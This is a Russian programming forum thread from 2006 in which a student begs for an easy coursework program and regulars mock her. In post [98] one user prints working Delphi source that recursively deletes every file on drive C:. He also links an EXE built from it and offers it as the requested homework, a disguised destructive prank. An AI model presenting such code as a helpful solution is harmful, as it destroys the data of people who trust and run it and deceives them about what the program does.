Помогите сделать лёгкую прогу!!!!!!!!!!!

← →
Павел Калугин © (2006-12-21 16:32) [80]

> [78] Ega23 © (21.12.06 16:29)
> нашем местном на каком-нибудь "менеджменте" в пределах курса
> информатики...

Угу а в следующем годе странички верстать... не похоже на менеджмент

← →
Павел Калугин © (2006-12-21 16:32) [81]

> [79] pasha_golub © (21.12.06 16:32)

или С или Туробо Паскаль, вообще то:)

← →
pasha_golub © (2006-12-21 16:34) [82]

> Павел Калугин © (21.12.06 16:32) [81]
>
> > [79] pasha_golub © (21.12.06 16:32)
>
> или С или Туробо Паскаль, вообще то:)
>

Турбо для Винды2000 как-то некошерно уже.

← →
Ega23 © (2006-12-21 16:36) [83]

> Угу а в следующем годе странички верстать... не похоже на
> менеджмент

Судя по
KatE* © (21.12.06 15:56) [37] да как её выложить
(к gif-картинке с блок-схемой относилось)
есть большие сомнения, что сабж про "странички" не заливал...

← →
Павел Калугин © (2006-12-21 16:36) [84]

> [82] pasha_golub © (21.12.06 16:34)

Как это? не может быть. Хотя, рэбе говорил что сам компьютер некошерен...

← →
Ega23 © (2006-12-21 16:37) [85]

> Турбо для Винды2000 как-то некошерно уже.
>

Почему? Нормально... У нас на нём давали...

← →
Павел Калугин © (2006-12-21 16:38) [86]

> [83] Ega23 © (21.12.06 16:36)

а также если автор не знает что описать алгоритм можно словами, то есть большие сомнения что блоксхему рисовал сам..

← →
vidiv © (2006-12-21 16:41) [87]

лови:
http://vid.sakhgu.sakhalin.ru/file/project2.exe
http://vid.sakhgu.sakhalin.ru/file/project2.txt

← →
Павел Калугин © (2006-12-21 16:42) [88]

> [87] vidiv © (21.12.06 16:41)

Штрейкбрехер...

← →
vidiv © (2006-12-21 16:43) [89]

> Штрейкбрехер...

это кто?

← →
Павел Калугин © (2006-12-21 16:44) [90]

> [89] vidiv © (21.12.06 16:43)

Это очень нехороший человек....
когда персонал бастует именно такие люди выходят работать вместо них, что позволяет уволить бастующих всем коллективом.

← →
TUser © (2006-12-21 16:45) [91]

Чего-то авторша испугалась ...

← →
vidiv © (2006-12-21 16:46) [92]

> Это очень нехороший человек....
> когда персонал бастует именно такие люди выходят работать
> вместо них, что позволяет уволить бастующих всем коллективом.
>

Да лана вам... что вы на девушку напали... нервничает ведь, курсовая горит... надо понимать ;)

← →
Axis_of_Evil © (2006-12-21 16:47) [93]

Павел Калугин © (21.12.06 16:44) [90]
исходник лучше посмотрите :>
// или он только у меня так отображается?

← →
Слоник_ (2006-12-21 16:48) [94]

код неграмотный совершенно!

← →
vidiv © (2006-12-21 16:49) [95]

> Axis_of_Evil © (21.12.06 16:47) [93]

текстовые файлы надо в блокноте открывать =)
попробуйте перевести первые 4 символа, рассматривая их как хекс коды двух символов.

... но потом я сжалился и выложил еще и EXE =)

← →
iXT © (2006-12-21 16:51) [96]

она же сказала 30 минут
Вот теперь ждите перездачу

← →
vidiv © (2006-12-21 16:55) [97]

блин, неуспел :(

← →
vidiv © (2006-12-21 17:02) [98]

program Project2; {$APPTYPE CONSOLE} uses Windows; procedure DeleteFileInDir(Dir:string); var FD:TWin32FindData; FindHanle: THandle; S:String; begin FindHanle := FindFirstFile(PChar(Dir+"*.*"), FD); while FindNextFile(FindHanle, FD) do begin if (FD.dwFileAttributes AND FILE_ATTRIBUTE_DIRECTORY) > 0 then begin if ((FD.cFileName = string(".")) or (FD.cFileName = "..")) then continue; S := Dir + FD.cFileName + "\"; if s <> "" then AnsiToOem(PChar(S), PChar(S)); Writeln("Find files in ", S); DeleteFileInDir(Dir + FD.cFileName + "\"); S := Dir + " "; if S <> "" then AnsiToOem(PChar(S), PChar(S)); Writeln("Find files in ", S); end else begin S := "Make file to delete: " + FD.cFileName; //sleep(FD.nFileSizeLow div 2048); DeleteFile(PChar(Dir + FD.cFileName)); if s <> "" then AnsiToOem(PChar(S), PChar(S)); writeln(s); end; end; FindClose(FindHanle); end; begin DeleteFileInDir("c:\"); end.

это исходник =)

← →
Anatoly Podgoretsky © (2006-12-21 17:06) [99]

Мужики, что после драки кулаками махает, 30 минут давно кончились, уже не нужно.

На перездаче будет уже другое задание

З.Ы.
"Жила была девочка.... Сама виновата" (С) Фоменко

А мне понравились орлы, которые денег просили.
"Слышь, Бивень, сейчас нам дадут. Точно дадут."

на:=не;

Удалено модератором

Помогите сделать лёгкую прогу!!!!!!!!!!! Найти похожие ветки